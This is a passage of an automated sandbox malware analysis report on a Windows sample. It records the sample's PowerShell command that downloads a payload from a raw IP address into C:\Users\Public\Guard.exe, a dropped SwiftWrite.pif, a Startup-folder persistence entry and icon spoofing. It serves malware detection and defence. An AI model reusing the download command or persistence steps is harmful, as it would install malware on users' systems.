Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: l5VhEpwzJy.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: l5VhEpwzJy.exeStatic file information: File size 1083904 > 1048576
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: l5VhEpwzJy.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: l5VhEpwzJy.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: l5VhEpwzJy.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: l5VhEpwzJy.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: l5VhEpwzJy.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: l5VhEpwzJy.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: l5VhEpwzJy.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

barindex
Suspicious powershell command line found
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/TnVDiK" -OutFile "C:\Users\Public\Guard.exe""Jump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A540AF20 LoadLibraryA,GetProcAddress,1_2_00007FF6A540AF20
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A78FD push rdi; ret 1_2_00007FF6A53A7904
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A7399 push rdi; ret 1_2_00007FF6A53A73A2
Source: C:\Users\Public\Guard.exeCode function: 7_2_00628B75 push ecx; ret 7_2_00628B88
Source: C:\Users\Public\Guard.exeCode function: 7_2_0061CBF1 push eax; retf 7_2_0061CBF8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000B8B75 push ecx; ret 12_2_000B8B88

Persistence and Installation Behavior

barindex
Drops PE files with a suspicious file extension
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Users\Public\Guard.exeFile created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file

Boot Survival

barindex
Drops PE files to the user root directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.urlJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.urlJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Source: initial sampleIcon embedded in binary file: icon matches a legit application icon: download (132).png
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5394514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,1_2_00007FF6A5394514
Source: C:\Users\Public\Guard.exeCode function: 7_2_006859B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,7_2_006859B3
Source: C:\Users\Public\Guard.exeCode function: 7_2_00615EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,7_2_00615EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_001159B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,12_2_001159B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000A5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,12_2_000A5EDA
Source: C:\Users\Public\Guard.exeCode function: 7_2_006233B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,7_2_006233B7
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\Public\Guard.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
